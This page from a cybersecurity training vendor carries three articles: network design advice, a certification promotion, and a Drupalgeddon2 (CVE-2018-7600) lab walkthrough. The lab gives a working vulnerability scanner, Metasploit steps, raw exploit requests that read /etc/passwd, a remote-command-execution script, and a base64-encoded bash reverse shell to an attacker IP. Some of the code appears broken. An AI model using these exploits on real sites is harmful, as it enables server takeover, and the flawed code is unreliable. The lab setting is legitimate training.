Workforce Development for Modern Networking and Cybersecurity Teams
Develop and refine skills for improved organizational resiliency with hands-on training and certifications.
INE offers a continuous
learn by doing training model
Award winning, hands-on and technically challenging training ensures learners have the in-depth knowledge and skill set to master the subject.
Build a Team Training RoadmapPopular Learning Paths & Courses
professionalVulnerabilities
8hprofessionalBGP Fundamentals
8h
noviceGetting Started with Azure Cloud
7hnoviceBeyond Security+
15h
Made for Organizations
Our full-cycle training methodology was created with organizations in mind. INE provides organizations with what they need to develop, upskill, and retain employees in and across cybersecurity and networking roles.
Enterprise and Business SolutionsIntersection of Cybersecurity and Networking
Develop skills with immersive, scenario-based practice labs.
INE understands that teaching “how to” under "ideal" conditions stops short of being work-role ready. We place great emphasis on creating scenarios which are as close to real world circumstances as possible to help create a resilient team.
Top News
Security-First Network Design: A Practical Roadmap
Network security isn't an add-on. It's not something you bolt onto your infrastructure after everything else is humming along nicely. Yet that's exactly how a lot of organizations approach it—and it's costing them big time.Here's the thing: when you design security into your network from day one, you're not just preventing breaches. You're building infrastructure that performs better, scales more efficiently, and costs less to maintain. Pretty compelling, right?Let's talk about how to actually do this.Why Security-First Design Matters (And Why Most People Get It Wrong)To network engineers, security requirements can feel like constraints. "Great, now I have to figure out how to make this secure without breaking everything." Meanwhile, security teams may see networks as unpredictable variables that make their carefully planned controls fall apart.This adversarial relationship is killing both performance and security.The numbers don't lie: Organizations that retrofit security into existing networks spend an average of $4.88 million per breach. Those that build security in from the start? $2.1 million. That's a $2.7 million difference for making better decisions upfront.But here's what's even more interesting—security-first networks often perform better than their "performance-first" counterparts. When you're thinking about security from the beginning, you're also thinking about segmentation, traffic flows, and access patterns. These same considerations drive network optimization.The Five-Phase Security-First Network Design FrameworkForget everything you know about adding security later. We're going to build it in from the ground up. Here's your roadmap:Phase 1: Security Requirements DiscoveryBefore you draw a single network diagram, you need to understand your security landscape. This isn't about compliance checkboxes—it's about identifying real risks and protection needs.Start with these questions:What data needs the highest level of protection?Who needs access to what, and from where?What are your most likely attack vectors?What would a breach actually cost your organization?Don't skip this step. Too many beautiful network designs crumble because nobody asked, "But what if someone gets in?"Zero trust network design starts here. You're not just planning for authorized users—you're planning for the moment when someone who shouldn't be there gets in anyway.Phase 2: Architecture Planning with Security ZonesHere's where traditional network design gets it backwards. Instead of creating your network topology and then figuring out where to put security controls, you're going to define your security zones first.Think of security zones as neighborhoods in a city. Each neighborhood has different characteristics, different rules, and different ways people move between them.Common security zones include:DMZ (Demilitarized Zone): Your front door—web servers, email servers, anything external users need to accessInternal Corporate Network: Where your employees work and your business applications liveManagement Network: The control center for your infrastructureGuest Network: Separate space for visitors and contractorsCritical Infrastructure: Your most sensitive systems and dataThe magic happens in how you design the boundaries between these zones. Each boundary is a security decision point where you can inspect, filter, and control traffic.Phase 3: Access Control and Identity IntegrationNow we get to the heart of zero trust: nobody gets automatic access to anything, even if they're already inside your network.Network security best practices here focus on identity-driven access control. Every device, every user, every application gets verified before it can communicate with anything else.This is where your network design directly impacts your security posture. Wide-open network segments with dozens of systems? That's a security team's nightmare. Properly segmented networks where access is controlled at every junction? Now you're thinking like a security-first architect.Key design decisions:How will you authenticate devices joining the network?Where will you place access control enforcement points?How will you handle network access for different user types?What happens when a device or user fails authentication?Phase 4: Traffic Flow Security DesignHere's where network engineers often get excited and security teams get nervous. We're talking about the actual movement of data through your network.Security-first traffic design means:Default deny: Nothing communicates unless explicitly allowedMicro-segmentation: Even systems in the same security zone don't automatically trust each otherTraffic inspection: You can see and analyze communications at key pointsEncrypted channels: Sensitive data gets additional protection in transitThe beauty of planning this upfront is that you can optimize for both security and performance. When you know exactly what needs to talk to what, you can design efficient paths that also happen to be secure.Phase 5: Monitoring and Response IntegrationYour network security architecture isn't complete until you can see what's happening and respond when things go wrong.This means building monitoring capabilities into your network design, not trying to retrofit them later. Security teams need visibility into network traffic patterns, and network teams need to understand how security events impact network performance.Design considerations:Where will you place monitoring taps and sensors?How will security events trigger network responses?What network changes can be automated based on security alerts?How will you balance monitoring depth with network performance?Making It Real: Common Implementation PatternsLet's get practical. Here are some proven patterns for implementing security-first network design:
The Secure Campus NetworkChallenge: Office networks that need to support everything from employee laptops to IoT devices to guest access.Security-first approach: Create distinct network segments for different device types and trust levels. Employee devices get more network access than guest devices. IoT devices live in their own isolated segment where they can't reach business systems.Implementation tip: Use VLANs and software-defined networking to create logical separations that are easy to manage but hard to bypass.
The Hybrid Cloud ArchitectureChallenge: Applications and data spread across on-premises infrastructure and multiple cloud providers.Security-first approach: Extend your security zones into the cloud. Your DMZ might include cloud-based web applications. Your internal network might span multiple locations connected by encrypted tunnels.Implementation tip: Choose cloud connectivity options that give you the same level of traffic visibility and control you have on-premises.
The Remote Work InfrastructureChallenge: Employees working from anywhere need secure access to business resources.Security-first approach: Instead of traditional VPN, implement zero-trust network access. Users authenticate to individual applications, not the entire network. Their access is limited to exactly what they need for their role.Implementation tip: Design this as if all users are potential threats, because in a zero-trust model, they are until proven otherwise.
Common Pitfalls (And How to Avoid Them)Even with the best intentions, security-first network design can go wrong. Here are some of the most common mistakes:Over-engineering the solution: You don't need military-grade security for every network segment. Match your security controls to your actual risk levels.Ignoring user experience: If your security-first design makes it impossible for people to do their jobs, they'll find workarounds that make you less secure, not more.Forgetting about operational complexity: A brilliant design that nobody can manage day-to-day isn't going to stay secure for long.Skipping the testing phase: Build security testing into your deployment process. If you can't verify that your controls work, you don't actually have security.Tools and Technologies That HelpYou don't need to build everything from scratch. Here are some technology categories that support security-first network design:Software-Defined Perimeter (SDP): Creates encrypted micro-tunnels for application access Network Access Control (NAC): Automates device authentication and network placement Microsegmentation platforms: Provide granular control over traffic between systems Cloud security platforms: Extend network security controls into cloud environmentsThe key is choosing tools that integrate well with your overall architecture, not just solve individual point problems.Getting Started: Your Next StepsReady to implement security-first network design? Here's how to begin:Start small: Pick one network segment or one new project. Don't try to redesign your entire infrastructure at once.Build your skills: How to design secure networks from scratch requires understanding both networking and security principles. Invest in training that covers both domains.Collaborate early: Get network and security teams working together from the planning phase, not just the implementation phase.Measure what matters: Track both security metrics (incidents, time to detection) and network metrics (performance, availability) to prove your approach is working.
The Bottom LineSecurity-first network design isn't just about preventing breaches—though it definitely does that. It's about building infrastructure that's more resilient, more performant, and more cost-effective over its entire lifecycle.The organizations that figure this out first will have a massive advantage. Their networks will be ready for whatever comes next, whether that's new applications, new threats, or new business requirements.The question isn't whether you can afford to design security into your networks from the start. It's whether you can afford not to.Ready to dive deeper into security-first networking? Explore our comprehensive training program that bridges the gap between network engineering and security architecture. Because in today's threat landscape, the most valuable professionals are those who can think like both a network engineer and a security architect from day one.
Master Real-World Mobile Security: New Cert Launched
The mobile security landscape is evolving rapidly, and cybersecurity professionals need advanced skills to keep pace. INE has launched the updated Mobile Application Penetration Testing Certification—a comprehensive program designed to transform intermediate security professionals into mobile app pentesting experts.Why Mobile Security Expertise Matters More Than EverMobile applications have become a primary attack surface for cybercriminals. With over 6.8 billion smartphone users worldwide, mobile apps handle sensitive data ranging from financial transactions to personal communications. Yet traditional cybersecurity certifications often treat mobile security as an afterthought, leaving professionals underprepared for real-world challenges.Our certification addresses this critical gap by focusing exclusively on mobile app pentesting across iOS and Android platforms. Unlike generic security programs, this certification provides the specialized knowledge and practical skills needed to identify, exploit, and remediate mobile application vulnerabilities effectively.What's NewBalanced iOS and Android ExpertiseMany mobile security programs favor one platform over another. Our updated certification provides equal, in-depth coverage of both iOS security testing and Android security assessment techniques. You'll master platform-specific attack vectors, understand operating system-level security mechanisms, and learn to exploit unique vulnerabilities in each ecosystem. This balanced approach is crucial because enterprise environments typically support both platforms. Certified professionals can confidently assess any mobile application, regardless of the underlying operating system.
Advanced Techniques IntegrationFew certifications cover advanced mobile security techniques comprehensively. Our updated program now integrates sophisticated methodologies including mobile application fuzzing and reverse engineering. These skills are highly valued in vulnerability research, malware analysis, and advanced penetration testing roles. Fuzzing helps identify unexpected application behaviors and potential crash conditions that could lead to security vulnerabilities. Reverse engineering enables deep analysis of application logic, encryption implementations, and hidden functionalities. Together, these techniques provide unprecedented insight into mobile application security posture.
Complete Security Lifecycle CoverageTraditional mobile app pentesting focuses primarily on vulnerability identification. Our enhanced certification takes a holistic approach, covering the entire mobile application security lifecycle. Candidates learn secure design principles, threat modeling methodologies, static analysis techniques, dynamic testing approaches, and effective remediation strategies. This comprehensive scope empowers professionals to understand not just what vulnerabilities exist, but why they occur and how to prevent them during secure software development processes. You'll be equipped to work with development teams, security architects, and business stakeholders to build more secure mobile applications from the ground up.
What Sets This Certification Apart
Hands-On, Real-World Testing EnvironmentMost cybersecurity certifications rely heavily on theoretical knowledge. Our program takes a different approach. Candidates face practical, scenario-based challenges that mirror actual mobile penetration testing engagements. You'll work with live applications, conducting dynamic analysis, code reviews, and vulnerability assessments in controlled yet realistic environments.
This hands-on methodology ensures that certified professionals can immediately apply their skills in production environments. When you encounter a client's mobile application, you'll have the confidence and experience to conduct thorough security assessments.
Dual-Exam FormatOur certification employs a unique dual-exam structure that validates both conceptual understanding and practical application skills. The knowledge-based component tests your understanding of mobile security fundamentals, threat landscapes, and security frameworks. The hands-on practical exam requires you to demonstrate real-world mobile app pentesting capabilities.
This approach ensures that certified professionals possess comprehensive mobile security expertise. You'll understand the theoretical foundations while having proven ability to execute complex security assessments in live environments.
Target Audience and PrerequisitesThis certification is designed for cybersecurity professionals with intermediate experience in mobile application security. Ideal candidates include:Penetration testers seeking mobile application specializationSecurity analysts wanting to advance their mobile testing capabilitiesApplication security engineers focusing on mobile platformsSecurity consultants performing mobile app assessmentsVulnerability researchers interested in mobile security domainsWhile we expect candidates to have foundational cybersecurity knowledge, our comprehensive curriculum ensures you'll gain the specialized mobile security skills needed for career advancement.Career Impact and Industry RecognitionMobile security expertise is increasingly valuable in today's job market. Organizations across industries—from financial services to healthcare to e-commerce—require professionals who can secure their mobile applications effectively. This certification demonstrates your commitment to specialized knowledge and practical skills that employers desperately need.Certified professionals often see significant career advancement opportunities, including roles in:Senior penetration testing positions focused on mobile applicationsMobile security consulting and advisory servicesApplication security architecture and designVulnerability research and security product developmentCompliance and risk assessment for mobile environmentsPreparing for SuccessSuccess in this certification requires dedication to both theoretical study and practical skill development. We recommend establishing a structured study plan that includes:Hands-on practice with mobile testing tools and frameworks.Regular engagement with real mobile applications to understand common vulnerability patterns and attack vectors. Participation in mobile security communities and forums to stay current with emerging threats and techniques.The investment in preparation pays dividends through enhanced career prospects and the satisfaction of mastering complex technical skills that directly impact organizational security posture.Next StepsBy combining comprehensive theoretical knowledge with intensive practical training, the updated Mobile Application Penetration Testing Certification prepares the next generation of mobile security experts.The certification exam is now available! Now through August 6, 2025, save $100 on the eMAPT exam voucher OR $100 on eMAPT voucher + three months access to INE’s Premium Subscription!
Use these codes at checkout to take advantage of this special offer:eMAPT + 3 | EMAPTBUNDLE625eMAPT Voucher Only (With Existing Premium Subscription) | EMAPTCERT625
Start training now!
Exploring the Long-Term Impact of Drupalgeddon 2 on Web Application Security
IntroductionIn late March 2018, the Drupal community faced a critical security incident that reverberated throughout the web development landscape. Drupalgeddon2, also known as CVE-2018-7600, was a remote code execution vulnerability discovered in Drupal’s core, posing a significant risk to countless websites powered by the popular content management system. This vulnerability was affecting many Drupal 7 and Drupal 8 websites (>=7.0 <7.58 || >= 8.0.0 <8.3.9 || >=8.4.0 <8.4.6 || >=8.5.0 <8.5.1 to be exact). The risk scored for this vulnerability was 24/25 (Highly Critical) by NIST Common Vulnerability Scoring System.Chart By: TheHackerNewsThe term “Drupalgeddon” itself is a play on words, blending “Drupal” with “Armageddon” implying a catastrophic, or apocalyptic, event for Drupal sites.Understanding Drupalgeddon2: A Brief RecapThe main vulnerability exploited in Drupalgeddon2 was a flaw stemming from insufficient input sanitization within Drupal’s Form API. Here’s a brief overview of the vulnerability’s technical details:Form API & Rendering:Drupal’s Form API is a system that allows developers to create and handle forms. During the rendering process, Drupal uses callback functions to process form elements.The vulnerability arose because user-supplied input was not properly sanitized before being passed to these callback functions.Vulnerable Parameter:Attackers could inject malicious code into specific Form API parameters, such as:#post_render#pre_render#access_callback#lazy_builderThese parameters control callback functions that are executed during the rendering process.Remote Code Execution:By injecting malicious code into these parameters, attackers could force Drupal to execute arbitrary PHP code on the server.This granted them the ability to take complete control of the affected website.Insufficient Input Sanitization:The core issue was that Drupal failed to adequately validate and sanitize user-supplied input before it was processed by the rendering engine. This allowed attackers to inject malicious code that was then executed by the server.The Immediate Response: Patching and MitigationUpon the discovery of Drupalgeddon 2, the Drupal Security Team acted swiftly to address the vulnerability and protect vulnerable sites. Security updates were released within hours of the vulnerability’s disclosure, urging site administrators to apply patches immediately. Despite these efforts, many sites were compromised before they could apply the necessary updates, leading to data breaches and unauthorized access incidents. Furthermore, they offered FAQs and resources to aid users in understanding and mitigating the vulnerability, ensuring a coordinated and effective response to safeguard the Drupal community.Patch Releases: Drupal Patch 8.5.1 Drupal Patch 7.58Key Steps Taken to Stop Drupalgeddon2Input Sanitization: The primary solution involved implementing stricter input sanitization. The patch focused on preventing the injection of malicious render arrays.Specifically, the Drupal team introduced a mechanism to filter out potentially dangerous array keys, particularly those starting with a hash symbol (#), which are used for internal rendering properties.RequestSanitizer Class:A key component of the patch was the introduction of a RequestSanitizer class.This class included a method designed to strip dangerous values from input arrays. The sanitization process occurred early in Drupal’s bootstrap process, aiming to neutralize malicious input before it could be processed by vulnerable functions.Targeting Render Arrays:The vulnerability exploited how Drupal handles “render arrays,” which are used to define the structure of UI elements. The patch specifically targeted the manipulation of these render arrays by filtering out potentially harmful properties like #post_render, #pre_render, #access_callback, and #lazy_builder, which could be used to execute arbitrary code.Version Updates:The Drupal team released updated versions of Drupal core (e.g., Drupal 7.58, Drupal 8.5.1) that included the security patch.They also provided patch files for those who couldn’t immediately update their Drupal installations.Long-Term Impact on Web Application SecurityThe Drupalgeddon2 vulnerability had a significant and lasting impact on web application security, highlighting several crucial lessons and trends.Timely Patching and Updates:Drupalgeddon2 underscored the critical need for organizations to prioritize and implement timely security patches. The rapid exploitation of this vulnerability demonstrated that delays in patching can lead to severe consequences.It emphasized the importance of robust patch management processes, including regular security audits and the ability to quickly deploy updates.Focus on Secure Coding Practices:The vulnerability stemmed from inadequate input sanitization, which highlighted the need for developers to rigorously validate user-supplied data.This incident led to a renewed focus on secure coding practices which are essential to prevent similar vulnerabilities in the future.Heightened Security Monitoring:The widespread exploitation of Drupalgeddon2 led to increased awareness of the need for effective intrusion detection and prevention systems.Organizations recognized the value of Security Information and Event Management (SIEM) solutions for monitoring security events and detecting suspicious activitySupply Chain Security Awareness:Drupalgeddon2 served as a stark reminder that content management systems, despite their popularity, are not immune to critical security vulnerabilities.It prompted CMS vendors and users to adopt stricter security measures, including regular security audits and vulnerability assessments.Continued Threat:Even years later, unpatched systems remain vulnerable to Drupalgeddon2 exploits. This highlights the ongoing challenge of securing legacy systems.The vulnerability has been incorporated into automated attack tools, making it easier for attackers to target vulnerable websites.There was an article published by Akamai in 2019, after 1 and half year of the vulnerability was discovered, that Drupalgeddon2 was still being used in attack campaigns. Akamai’s Blog PostHands-On Lab: Exploring the Technical Details of Drupalgeddon 2To gain a deeper understanding of Drupalgeddon2 and its technical implications, let’s walk through a hands-on lab demo that demonstrates the vulnerability and its impact on a vulnerable Drupal site. By exploring the technical details of the vulnerability, you can appreciate the severity of the issue and the importance of timely patching in securing web applications.Lab Link: https://my.ine.com/labs/0a57edef-f4b7-4b31-8635-5b3c297b819dThis lab is a part of INE’s Vulnerabilities collection that is updated monthly.Vulnerability collection: https://my.ine.com/collections/bd6f07ba-b00e-4a43-afa5-6b2bdc3a25d8
Challenge DetailsIn this lab, we will learn how to exploit Drupal CMS with different-different techniques.Read more about the exploit: National Vulnerability DatabaseLab EnvironmentIn this lab environment, the user will get access to a Kali GUI instance. A vulnerable Drupal CMS is deployed on http://demo.ine.local. The CMS is vulnerable to Drupalgeddon Remote Code Execution (CVE-2018-7600)ToolsThe best tools for this lab are:Metasploit FrameworkNmapBash ShellPythonBurp Suite
SolutionScanning and Identifying the running Drupal CMSDetecting the vulnerabilityExploitation using MetasploitManually ExploitationWriting a Python scriptStep 1: Open the lab link to access the Kali GUI instance.Step 2: Check for open ports on the target machine (demo.ine.local).Command: nmap demo.ine.localPort 80 is open on the target machine.Step 3: Run nmap on port 80 and find more about the running service.Command: nmap -p 80 -sS -sV demo.ine.local-p: Only scan specified ports-sS: TCP SYN/Connect()/ACK/Window/Maimon scans-sV: Probe open ports to determine service/version infoThe target is running Apache httpd 2.4.18 on port 80.Step 4: Access the webserver using the firefox browser and find the running application.URL: http://demo.ine.localDrupal CMS is running.Step 5: Access the CHANGELOG.txt file on the server. The version information should be present in this file.URL: http://demo.ine.local/CHANGELOG.txtBy default, the CHANGELOG.txt is present in the drupal archive https://ftp.drupal.org/files/projects/drupal-{VERSION}.tar.gz. So, if the admin hasn’t deleted the file, we can quickly identify the running CMS version.The target is running Drupal 7.57, 2018-02-21 version.Search for the public exploit of the Drupal 7.57 application using searchsploit.Searchsploit:searchsploit is a bash script that helps find exploits for services, OSes, and applications.Command: searchsploit drupal 7.57Drupal is vulnerable to remote command execution (RCE). Also, there is a Metasploit module available.
Vulnerability IdentificationThere is a python script developed by fyraiga. Run the script and confirm the vulnerabilityThe code is as follows:#written by fyraiga
#POC adapted from FireFart CVE-2018-7600
#import here
import argparse
import ipaddress
import itertools
import re
import requests
import sys
import time
#functions
def exploit(ip_targets):
send_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
send_data = {'form_id':'user_pass', '_triggering_element_name':'name'}
ipregex = re.compile("(\d{1,3}\.){3}\d{1,3}.*")
num_scanned = len(ip_targets)
num_vuln = 0
time_start = time.time()
for ip_target in ip_targets:
result = ipregex.match(ip_target)
ip_target = "http://"+ip_target
if result is not None:
r = None
print("{:=<74}".format(""))
print("[~] {:<60} [{:^7}]".format(ip_target, "..."), end="", flush=True)
if verbose == True:
try:
r = requests.post(ip_target, data=send_data, params=send_params, timeout=3)
except requests.exceptions.Timeout:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Server seems to be down (Timeout)".format("--"))
continue
except requests.exceptions.ConnectionError:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Unable to connect to the webserver (Connection Error)".format("--"))
continue
except requests.exceptions.HTTPError:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: 4xx/5xx".format("--"))
continue
except requests.exceptions.InvalidURL:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Invalid URL.".format("--"))
continue
except Exception:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
print("{:>7} ERROR: Unexpected Error".format("--"))
sys.exit()
else:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "OK"))
print("{:>7} OK: Alive".format("--"))
else:
try:
r = requests.post(ip_target, data=send_data, params=send_params, timeout=5)
except Exception:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
continue
else:
print("\r[~] {:<60} [{:^7}]".format(ip_target, "OK"))
#Finding block of data to check server type
m = re.search(r'', r.text)
if m:
if verbose == True:
print("{:>7} OK: Server seems to be running Drupal".format("--"))
found = m.group(1)
send_params2 = {'q':'file/ajax/name/#value/' + found}
send_data2 = {'form_build_id':found}
r = requests.post(ip_target, data=send_data2, params=send_params2)
r.encoding = 'ISO-8859-1'
out = r.text.split("[{")[0].strip()
if out == "":
print("{:>7} Patched (CVE-2018-7600)".format("--"))
continue
else:
print("{:>7} Vulnerable (CVE-2018-7600)".format("--"))
num_vuln += 1
else:
print("{:>7} Doesnt seem like a Drupal server?".format("--"))
continue
else:
raise ValueError("Invalid IP Address")
time_fin = time.time()
print("{:=<74}".format(""))
print("[+] {} target(s) scanned, {} target(s) vulnerable (CVE-2018-7600)".format(num_scanned, num_vuln))
print("[+] Scan completed in {:.3f} seconds".format(time_fin-time_start))
def process_file(target):
hostlist = []
try:
file = open(target, "r")
for line in file:
hostlist.append(line.strip())
exploit(hostlist)
except FileNotFoundError:
print("[!] Unable to locate file. Check file path.")
sys.exit()
except ValueError:
print("[!] Invalid value in file. Ensure only IPv4 addresses exist!")
sys.exit()
except Exception as e:
print(e)
print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
sys.exit()
def process_multiple(target):
hostlist = target.split(",")
try:
for data in hostlist:
data = data.strip()
exploit(hostlist)
except ValueError:
print("[!] Invalid Input. Only IPv4 addresses are accepted.")
sys.exit()
except Exception:
print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
sys.exit()
def process_range(target):
try:
hostlist = []
raw_octets = target.split(".")
octets = [x.strip().split("-") for x in raw_octets]
octet_range = [range(int(x[0]), int(x[1])+1) if len(x) == 2 else x for x in octets]
for x in itertools.product(*octet_range):
hostlist.append('.'.join(map(str,x)).strip())
exploit(hostlist)
except ValueError:
print("[!] Invalid Input. Only IPv4 ranges are accepted.")
sys.exit()
except Exception as e:
print(e)
print("Unexpected Errror")
sys.exit()
def process_ip(target):
try:
exploit([target.strip()])
except ValueError:
print("[!] Invalid Input. Only IPv4 & valid CIDR addresses are accepted for IP mode.{:>7} Use -h to see other modes.".format("--"))
sys.exit()
except Exception:
print("[!] Unexpected Error")
sys.exit()
def process_cidr(target):
hostlist = []
try:
net = ipaddress.ip_network(target.strip(), strict=False)
for host in net.hosts():
hostlist.append(str(host))
exploit(hostlist)
except ValueError:
print("[!] Invalid Input. Only IPv4 & valid CIDR addresses are accepted for IP mode.{:>7} Use -h to see other modes.".format("--"))
sys.exit()
except Exception:
print("[!] Unexpected Error")
sys.exit()
#main here
def main():
parser = argparse.ArgumentParser(prog="drupalgeddon2-scan.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50))
try:
parser.add_argument("target", help="IP of target site(s)")
parser.add_argument('-c', "--cidr", default=False, action="store_true", help="Generate & scan a range given a CIDR address")
parser.add_argument('-f', "--file", default=False, action="store_true", help="Retrieve IP Addresses from a file (1 per line)")
parser.add_argument('-i', "--ip", default=True, action="store_true", help="Single IP Address (CIDR migrated to a seperate mode)")
parser.add_argument('-m', "--multiple", default=False, action="store_true", help="Multiple IP Adddress e.g. 192.168.0.1,192.168.0.2,192.168.0.3")
parser.add_argument('-r', "--range", default=False, action="store_true", help="IP Range e.g. 192.168.1-2.0-254 (nmap format)")
parser.add_argument('-v', "--verbose", default=False, action="store_true", help="Provide a more verbose display")
parser.add_argument("-o", "--http-only", default=False, action="store_true", help="To be implemented (Current state, https not implemented)")
parser.add_argument("-s", "--https-only", default=False, action="store_true", help="To be implemented")
except Exception:
print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
sys.exit()
try:
args, u = parser.parse_known_args()
except Exception:
print("[!] Invalid arguments!")
sys.exit()
#renaming variable
global verbose
verbose = args.verbose
#Verbose message
print("[~] Starting scan...")
#IP range in a CIDR format
if args.cidr == True:
process_cidr(args.target)
#IPs from a file
elif args.file == True:
process_file(args.target)
#Multiple IPs (separated w commas)
elif args.multiple == True:
process_multiple(args.target)
#IP Range (start-end)
elif args.range == True:
process_range(args.target)
#IP Address/CIDR
elif args.ip == True:
process_ip(args.target)
#Unrecognised arguments
else:
print("[!] Unexpected Outcome! This should not be happening. Please inform me at Github!")
sys.exit()
sys.exit()
#ifmain here
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print ("-- Ctrl+C caught. Terminating program.")
except Exception as e:
print(e)
print("[!] Unexpected Error! This should not be happening. Please inform me at Github")
Save the script on the attacker machine and run the script.Command: nano scan.pyPaste the code and save the file.Command: python3 scan.py 192.142.121.3Note: Provide only the target IP Address as an argumentThe target is vulnerable to CVE-2018-7600Step 6: Run the Metasploit framework and search for the drupal_drupalgeddon2 module.This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.Source: https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2/Commands:msfconsole -q
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2Step 7: There is a Metasploit module available. Check all the available module options.Command: show optionsAll options are already set. Configure LHOST and RHOSTS, then exploit the application.Check the attacker’s machine IP address.Command: ip addrIn this case it is 192.142.121.2.
Exploit Drupal CMSCommands:set RHOSTS demo.ine.local
set LHOST 192.142.121.2
set VERBOSE true
check
exploitReceived a meterpreter session.Successfully exploited the Drupal CMS using the metasploit framework.
Manual ExploitationBefore exploiting the vulnerability manually, first look into the technical details.The leading cause of this vulnerability is the Drupal Form API known as “Renderable Arrays.” The vulnerability exists due to insufficient sanitation of inputs passed via Form API and AJAX requests. It is an extended API used to represent the structure of most of the UI elements in Drupal, i.e., pages, blocks, nodes, etc. An attacker can trigger the vulnerability by injecting a malicious render array responsible for RCE.The API was introduced in the drupal 7.0 version and is used for rendering structured data (Renderable Arrays) into HTML markupIn brief, Drupal had insufficient input sanitation on Form API (FAPI) AJAX requests. As a result, this potentially enabled an attacker to inject a malicious payload into the internal form structure. This would have caused Drupal to execute it without user authentication. By exploiting this vulnerability, an attacker would have been able to carry out an entire site takeover of any Drupal customer. Source: https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/How to exploit?First, send the malicious render request to: /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=Successful submission generates the form_build_id that is used for rendering the data which causes command execution, eg: file/ajax/name/#value/form-
Host: demo.ine.local
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+PasswordSend the requestFound the form build-idform-lrXSob0XwsqBvr1j-D0znkMPnu9i2PN6gHZulG7HVFgSend the request to render the form.POST /?q=file/ajax/name/#value/form-
Host: demo.ine.local
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
form_build_id=form-
Host: demo.ine.local
User-Agent: python-requests/2.20.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
form_build_id=form-lrXSob0XwsqBvr1j-D0znkMPnu9i2PN6gHZulG7HVFgUse the above request to execute the whoami command on the target machine. The above request renders the form and runs the command on the system.The whoami command returned an output www-data.This confirms the exploitation of the vulnerability. You could also send:/?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=cat+/etc/passwd request to read the /etc/passwd file. Follow both steps again.
Exploiting Using PythonStep 1: There are a lot of PoC available to exploit Drupalgeddon vulnerability.In this case, use script created by Christian Mehlmauerimport requests
import re
HOST="http://192.168.60.129/"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)
m = re.search(r'', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(target, data=post_params, params=get_params)
print(r.text)Modifying the script that accepts the target server and command arguments.import requests
import re
import argparse
my_parser = argparse.ArgumentParser(description='Drupalgeddon Remote Command Execution')
my_parser.add_argument('-T', '--URL', help='Target URL eg: http://demo.ine.local', type=str)
my_parser.add_argument('-C', '--COMMAND', help='Command to execute eg: whoami', type=str)
args = my_parser.parse_args()
target = args.URL
cmd = args.COMMAND
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':cmd, 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(target, data=post_params, params=get_params)
m = re.search(r'', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(target, data=post_params, params=get_params)
print(r.text)Save the script and execute a command on the target machine.Command: nano poc.pyPaste the code and save the file.Command: python3 poc.py -hCommand: python3 poc.py -T http://demo.ine.local -C ‘whoami; pwd’Both the commands were correctly executed on the target server and received an output.Get the reverse bash shell of the target server.Command: echo ‘bash -i >& /dev/tcp/192.142.121.2/4444 0>&1’ | base64Command: echo ‘YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTQyLjEyMS4yLzQ0NDQgMD4mMQo=’ | base64 -d | bash -iNote: Make sure your attacker’s machine IP addressStart netcat listener on port 4444.Command: nc -lvp 4444Execute the script and the bash reverse shell command.Commands:python3 poc.py -T http://demo.ine.local -C 'echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTQyLjEyMS4yLzQ0NDQgMD4mMQo=' | base64 -d | bash -i'
id
